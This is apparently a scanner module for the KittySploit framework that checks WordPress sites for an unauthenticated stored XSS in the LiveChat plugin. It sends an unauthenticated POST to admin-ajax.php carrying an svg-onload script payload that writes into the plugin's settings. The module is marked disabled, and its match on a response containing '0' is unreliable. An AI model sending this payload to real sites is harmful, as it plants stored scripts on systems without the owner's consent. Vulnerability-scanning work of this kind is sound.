WordPress LiveChat < 3.7.6 - Unauthenticated Stored XSS Detection
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress LiveChat plugin before < 3."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'WordPress LiveChat < 3.7.6 - Unauthenticated Stored XSS Detection',
'description': 'WordPress LiveChat plugin before < 3.7.6 lacked CSRF and authorization checks on the option update handler in the LiveChatAdmin constructor. The code ran on any POST to a wp-admin URL without Referer validation, nonce check, or capability verification. This allowed unauthenticated attackers to update plugin settings.',
'author': ['KittySploit Team'],
'severity': 'high',
'tags': ['web', 'scanner', 'wpscan', 'wp', 'wp-plugin', 'wordpress', 'livechat', 'xss', 'stored-xss', 'unauth'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://wpscan.com/plugin/wp-live-chat-software-for-wordpress/',
'https://wordpress.org/plugins/wp-live-chat-software-for-wordpress',
],
}
def run(self):
return False # disabled: corrupted matchers
path = '/wp-content/plugins/wp-live-chat-software-for-wordpress/readme.txt'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r:
return False
path = '/wp-admin/admin-ajax.php'
r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'application/x-www-form-urlencoded'}, data='licenseNumber=42&licenseEmail=%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E\n')
if not r or r.status_code not in (200, 400):
return False
body = r.text or ""
body_any = ('0',)
if any(m in body for m in body_any):
self.set_info(severity='high', reason='WordPress LiveChat < 3.7.6 - Unauthenticated Stored XSS detected', path=path)
return True
return False
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28 Jul 2026 11:27Current
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